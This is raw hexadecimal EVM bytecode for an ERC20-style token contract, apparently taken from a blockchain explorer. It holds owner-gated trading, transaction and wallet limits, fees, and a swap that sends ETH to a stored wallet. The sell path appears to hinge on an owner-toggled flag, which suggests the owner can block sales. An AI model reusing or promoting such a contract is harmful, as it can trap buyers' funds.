ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d979190612257565b60405180910390a3505050565b610dac610bd3565b73ffffffffffffffffffffffffffffffffffffffff16610dca610957565b73ffffffffffffffffffffffffffffffffffffffff1614610e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1790612790565b60405180910390fd5b565b6000610e2e8484610b14565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ea85781811015610e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e91906127fc565b60405180910390fd5b610ea78484848403610bdb565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f149061288e565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490612920565b60405180910390fd5b60008111610fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc7906129b2565b60405180910390fd5b610fd8610957565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110465750611016610957565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561107f5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110b9575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110d25750600a60009054906101000a900460ff16155b1561151b57601260009054906101000a900460ff166111cc57600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061118c5750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6111cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c290612a1e565b60405180910390fd5b5b601260029054906101000a900460ff161561151a57601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156112845750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561132b57600d548111156112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c590612ab0565b60405180910390fd5b600e546112da8361085a565b826112e59190612ad0565b1115611326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131d90612b50565b60405180910390fd5b611519565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156113ce5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561146d57600d54811115611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f90612be2565b60405180910390fd5b601260019054906101000a900460ff1615611468576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145f90612c4e565b60405180910390fd5b611518565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661151757600e546114ca8361085a565b826114d59190612ad0565b1115611516576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150d90612b50565b60405180910390fd5b5b5b5b5b5b60006011546115293061085a565b101590508080156115465750601260019054906101000a900460ff165b801561155f5750600a60009054906101000a900460ff16155b80156115b55750601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561160b5750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116615750600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116a7576001600a60006101000a81548160ff02191690831515021790555061168b6000611a58565b6000600a60006101000a81548160ff0219169083151502179055505b6000600a60009054906101000a900460ff16159050600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061175d5750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561176757600090505b6000811561197f57601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118105750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118405761183d606461182f600b5487610ba790919063ffffffff16565b610bbd90919063ffffffff16565b90505b601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561189b57506000600b54115b156118cf576118c860646118ba600b5487610ba790919063ffffffff16565b610bbd90919063ffffffff16565b905061195b565b601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561192a57506000600c54115b1561195a576119576064611949600c5487610ba790919063ffffffff16565b610bbd90919063ffffffff16565b90505b5b60008111156119705761196f863083611b4a565b5b808461197c9190612c6e565b93505b61198a868686611b4a565b505050505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000611a633061085a565b90506000808203611a75575050611b47565b60001515831515148015611a9657506014601154611a939190612566565b82115b15611aad576014601154611aaa9190612566565b91505b611ab682611dc0565b601260039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051611afc90612cd3565b60006040518083038185875af1925050503d8060008114611b39576040519150601f19603f3d011682016040523d82523d6000602084013e611b3e565b606091505b50508091505050505b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090612d5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1f90612dec565b60405180910390fd5b611c33838383612003565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb090612e7e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611da79190612257565b60405180910390a3611dba848484612008565b50505050565b6000600267ffffffffffffffff811115611ddd57611ddc612e9e565b5b604051908082528060200260200182016040528015611e0b5781602001602082028036833780820191505090505b5090503081600081518110611e2357611e22612ecd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611eca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eee9190612f11565b81600181518110611f0257611f01612ecd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6930600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610bdb565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fcd959493929190613037565b600060405180830381600087803b158015611fe757600080fd5b505af1158015611ffb573d6000803e3d6000fd5b505050505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561204757808201518184015260208101905061202c565b60008484015250505050565b6000601f19601f8301169050919050565b600061206f8261200d565b6120798185612018565b9350612089818560208601612029565b61209281612053565b840191505092915050565b600060208201905081810360008301526120b78184612064565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120ef826120c4565b9050919050565b6120ff816120e4565b811461210a57600080fd5b50565b60008135905061211c816120f6565b92915050565b6000819050919050565b61213581612122565b811461214057600080fd5b50565b6000813590506121528161212c565b92915050565b6000806040838503121561216f5761216e6120bf565b5b600061217d8582860161210d565b925050602061218e85828601612143565b9150509250929050565b60008115159050919050565b6121ad81612198565b82525050565b60006020820190506121c860008301846121a4565b92915050565b6000819050919050565b60006121f36121ee6121e9846120c4565b6121ce565b6120c4565b9050919050565b6000612205826121d8565b9050919050565b6000612217826121fa565b9050919050565b6122278161220c565b82525050565b6000602082019050612242600083018461221e565b92915050565b61225181612122565b82525050565b600060208201905061226c6000830184612248565b92915050565b60008060006060848603121561228b5761228a6120bf565b5b60006122998682870161210d565b93505060206122aa8682870161210d565b92505060406122bb86828701612143565b9150509250925092565b6122ce81612198565b81146122d957600080fd5b50565b6000813590506122eb816122c5565b92915050565b60008060408385031215612308576123076120bf565b5b60006123168582860161210d565b9250506020612327858286016122dc565b9150509250929050565b600060ff82169050919050565b61234781612331565b82525050565b6000602082019050612362600083018461233e565b92915050565b612371816120e4565b82525050565b600060208201905061238c6000830184612368565b92915050565b6000602082840312156123a8576123a76120bf565b5b60006123b68482850161210d565b91505092915050565b600080604083850312156123d6576123d56120bf565b5b60006123e48582860161210d565b92505060206123f58582860161210d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061244657607f821691505b602082108103612459576124586123ff565b5b50919050565b7f546865206c696d69747320686173206265656e2072656d6f7665642e00000000600082015250565b6000612495601c83612018565b91506124a08261245f565b602082019050919050565b600060208201905081810360008301526124c481612488565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612501601783612018565b915061250c826124cb565b602082019050919050565b60006020820190508181036000830152612530816124f4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061257182612122565b915061257c83612122565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125b5576125b4612537565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006125fa82612122565b915061260583612122565b925082612615576126146125c0565b5b828204905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061267c602483612018565b915061268782612620565b604082019050919050565b600060208201905081810360008301526126ab8161266f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061270e602283612018565b9150612719826126b2565b604082019050919050565b6000602082019050818103600083015261273d81612701565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061277a602083612018565b915061278582612744565b602082019050919050565b600060208201905081810360008301526127a98161276d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006127e6601d83612018565b91506127f1826127b0565b602082019050919050565b60006020820190508181036000830152612815816127d9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b6000612878602683612018565b91506128838261281c565b604082019050919050565b600060208201905081810360008301526128a78161286b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573732e00000000000000000000000000000000000000000000000000000000602082015250565b600061290a602483612018565b9150612915826128ae565b604082019050919050565b60006020820190508181036000830152612939816128fd565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f2e000000000000000000000000000000602082015250565b600061299c603183612018565b91506129a782612940565b604082019050919050565b600060208201905081810360008301526129cb8161298f565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000612a08601683612018565b9150612a13826129d2565b602082019050919050565b60006020820190508181036000830152612a37816129fb565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d6178207472616e73616374696f6e20616d6f756e742e000000000000000000602082015250565b6000612a9a603783612018565b9150612aa582612a3e565b604082019050919050565b60006020820190508181036000830152612ac981612a8d565b9050919050565b6000612adb82612122565b9150612ae683612122565b9250828201905080821115612afe57612afd612537565b5b92915050565b7f4d61782077616c6c65742065786365656465642e000000000000000000000000600082015250565b6000612b3a601483612018565b9150612b4582612b04565b602082019050919050565b60006020820190508181036000830152612b6981612b2d565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d6178207472616e73616374696f6e20616d6f756e742e0000000000000000602082015250565b6000612bcc603883612018565b9150612bd782612b70565b604082019050919050565b60006020820190508181036000830152612bfb81612bbf565b9050919050565b7f5377617020686173206e6f74206265656e20656e61626c65642e000000000000600082015250565b6000612c38601a83612018565b9150612c4382612c02565b602082019050919050565b60006020820190508181036000830152612c6781612c2b565b9050919050565b6000612c7982612122565b9150612c8483612122565b9250828203905081811115612c9c57612c9b612537565b5b92915050565b600081905092915050565b50565b6000612cbd600083612ca2565b9150612cc882612cad565b600082019050919050565b6000612cde82612cb0565b9150819050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d44602583612018565b9150612d4f82612ce8565b604082019050919050565b60006020820190508181036000830152612d7381612d37565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612dd6602383612018565b9150612de182612d7a565b604082019050919050565b60006020820190508181036000830152612e0581612dc9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612e68602683612018565b9150612e7382612e0c565b604082019050919050565b60006020820190508181036000830152612e9781612e5b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612f0b816120f6565b92915050565b600060208284031215612f2757612f266120bf565b5b6000612f3584828501612efc565b91505092915050565b6000819050919050565b6000612f63612f5e612f5984612f3e565b6121ce565b612122565b9050919050565b612f7381612f48565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612fae816120e4565b82525050565b6000612fc08383612fa5565b60208301905092915050565b6000602082019050919050565b6000612fe482612f79565b612fee8185612f84565b9350612ff983612f95565b8060005b8381101561302a5781516130118882612fb4565b975061301c83612fcc565b925050600181019050612ffd565b5085935050505092915050565b600060a08201905061304c6000830188612248565b6130596020830187612f6a565b818103604083015261306b8186612fd9565b905061307a6060830185612368565b6130876080830184612248565b969550505050505056fea264697066735822122045f4b9746faaeba50e12e9fc829b8c0733c014faf04613fb6376f783ee7d213164736f6c63430008100033

Deployed Bytecode

0x6080604052600436106101a05760003560e01c80636ddd1713116100ec578063a9059cbb1161008a578063c9567bf911610064578063c9567bf914610591578063dd62ed3e146105a8578063e2f45605146105e5578063f8b45b0514610610576101a7565b8063a9059cbb14610500578063c02466681461053d578063c8c8ebe414610566576101a7565b8063751039fc116100c6578063751039fc1461046857806375f0a8741461047f5780638da5cb5b146104aa57806395d89b41146104d5576101a7565b80636ddd1713146103e957806370a0823114610414578063715018a614610451576101a7565b80632ae2f121116101595780634706240211610133578063470624021461033d57806349bd5a5e146103685780634a62bb65146103935780634ada218b146103be576101a7565b80632ae2f121146102be5780632b14ca56146102e7578063313ce56714610312576101a7565b806306fdde03146101ac578063095ea7b3146101d75780631694505e1461021457806318160ddd1461023f5780631ff8d5071461026a57806323b872dd14610281576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c161063b565b6040516101ce919061209d565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190612158565b6106cd565b60405161020b91906121b3565b60405180910390f35b34801561022057600080fd5b506102296106f0565b604051610236919061222d565b60405180910390f35b34801561024b57600080fd5b50610254610716565b6040516102619190612257565b60405180910390f35b34801561027657600080fd5b5061027f610720565b005b34801561028d57600080fd5b506102a860048036038101906102a39190612272565b610754565b6040516102b591906121b3565b60405180910390f35b3480156102ca57600080fd5b506102e560048036038101906102e091906122f1565b610783565b005b3480156102f357600080fd5b506102fc6107e6565b6040516103099190612257565b60405180910390f35b34801561031e57600080fd5b506103276107ec565b604051610334919061234d565b60405180910390f35b34801561034957600080fd5b506103526107f5565b60405161035f9190612257565b60405180910390f35b34801561037457600080fd5b5061037d6107fb565b60405161038a9190612377565b60405180910390f35b34801561039f57600080fd5b506103a8610821565b6040516103b591906121b3565b60405180910390f35b3480156103ca57600080fd5b506103d3610834565b6040516103e091906121b3565b60405180910390f35b3480156103f557600080fd5b506103fe610847565b60405161040b91906121b3565b60405180910390f35b34801561042057600080fd5b5061043b60048036038101906104369190612392565b61085a565b6040516104489190612257565b60405180910390f35b34801561045d57600080fd5b506104666108a2565b005b34801561047457600080fd5b5061047d6108b6565b005b34801561048b57600080fd5b50610494610931565b6040516104a19190612377565b60405180910390f35b3480156104b657600080fd5b506104bf610957565b6040516104cc9190612377565b60405180910390f35b3480156104e157600080fd5b506104ea610981565b6040516104f7919061209d565b60405180910390f35b34801561050c57600080fd5b5061052760048036038101906105229190612158565b610a13565b60405161053491906121b3565b60405180910390f35b34801561054957600080fd5b50610564600480360381019061055f91906122f1565b610a36565b005b34801561057257600080fd5b5061057b610a99565b6040516105889190612257565b60405180910390f35b34801561059d57600080fd5b506105a6610a9f565b005b3480156105b457600080fd5b506105cf60048036038101906105ca91906123bf565b610b14565b6040516105dc9190612257565b60405180910390f35b3480156105f157600080fd5b506105fa610b9b565b6040516106079190612257565b60405180910390f35b34801561061c57600080fd5b50610625610ba1565b6040516106329190612257565b60405180910390f35b60606003805461064a9061242e565b80601f01602080910402602001604051908101604052809291908181526020018280546106769061242e565b80156106c35780601f10610698576101008083540402835291602001916106c3565b820191906000526020600020905b8154815290600101906020018083116106a657829003601f168201915b5050505050905090565b6000806106d8610bd3565b90506106e5818585610bdb565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b610728610da4565b601260019054906101000a900460ff1615601260016101000a81548160ff021916908315150217905550565b60008061075f610bd3565b905061076c858285610e22565b610777858585610eae565b60019150509392505050565b61078b610da4565b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600c5481565b60006012905090565b600b5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601260029054906101000a900460ff1681565b601260009054906101000a900460ff1681565b601260019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108aa610da4565b6108b46000611992565b565b6108be610da4565b60011515601260029054906101000a900460ff16151514610914576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b906124ab565b60405180910390fd5b6000601260026101000a81548160ff021916908315150217905550565b601260039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546109909061242e565b80601f01602080910402602001604051908101604052809291908181526020018280546109bc9061242e565b8015610a095780601f106109de57610100808354040283529160200191610a09565b820191906000526020600020905b8154815290600101906020018083116109ec57829003601f168201915b5050505050905090565b600080610a1e610bd3565b9050610a2b818585610eae565b600191505092915050565b610a3e610da4565b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600d5481565b610aa7610da4565b601260009054906101000a900460ff1615610af7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aee90612517565b60405180910390fd5b6001601260006101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60115481565b600e5481565b60008183610bb59190612566565b905092915050565b60008183610bcb91906125ef565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4190612692565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb090612724565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d979190612257565b60405180910390a3505050565b610dac610bd3565b73ffffffffffffffffffffffffffffffffffffffff16610dca610957565b73ffffffffffffffffffffffffffffffffffffffff1614610e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1790612790565b60405180910390fd5b565b6000610e2e8484610b14565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ea85781811015610e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e91906127fc565b60405180910390fd5b610ea78484848403610bdb565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f149061288e565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490612920565b60405180910390fd5b60008111610fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc7906129b2565b60405180910390fd5b610fd8610957565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110465750611016610957565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561107f5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110b9575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110d25750600a60009054906101000a900460ff16155b1561151b57601260009054906101000a900460ff166111cc57600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061118c5750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6111cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c290612a1e565b60405180910390fd5b5b601260029054906101000a900460ff161561151a57601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156112845750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561132b57600d548111156112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c590612ab0565b60405180910390fd5b600e546112da8361085a565b826112e59190612ad0565b1115611326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131d90612b50565b60405180910390fd5b611519565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156113ce5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561146d57600d54811115611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f90612be2565b60405180910390fd5b601260019054906101000a900460ff1615611468576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145f90612c4e565b60405180910390fd5b611518565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661151757600e546114ca8361085a565b826114d59190612ad0565b1115611516576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150d90612b50565b60405180910390fd5b5b5b5b5b5b60006011546115293061085a565b101590508080156115465750601260019054906101000a900460ff165b801561155f5750600a60009054906101000a900460ff16155b80156115b55750601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561160b5750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116615750600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116a7576001600a60006101000a81548160ff02191690831515021790555061168b6000611a58565b6000600a60006101000a81548160ff0219169083151502179055505b6000600a60009054906101000a900460ff16159050600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061175d5750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561176757600090505b6000811561197f57601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118105750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118405761183d606461182f600b5487610ba790919063ffffffff16565b610bbd90919063ffffffff16565b90505b601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561189b57506000600b54115b156118cf576118c860646118ba600b5487610ba790919063ffffffff16565b610bbd90919063ffffffff16565b905061195b565b601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561192a57506000600c54115b1561195a576119576064611949600c5487610ba790919063ffffffff16565b610bbd90919063ffffffff16565b90505b5b60008111156119705761196f863083611b4a565b5b808461197c9190612c6e565b93505b61198a868686611b4a565b505050505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000611a633061085a565b90506000808203611a75575050611b47565b60001515831515148015611a9657506014601154611a939190612566565b82115b15611aad576014601154611aaa9190612566565b91505b611ab682611dc0565b601260039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051611afc90612cd3565b60006040518083038185875af1925050503d8060008114611b39576040519150601f19603f3d011682016040523d82523d6000602084013e611b3e565b606091505b50508091505050505b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090612d5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1f90612dec565b60405180910390fd5b611c33838383612003565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb090612e7e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611da79190612257565b60405180910390a3611dba848484612008565b50505050565b6000600267ffffffffffffffff811115611ddd5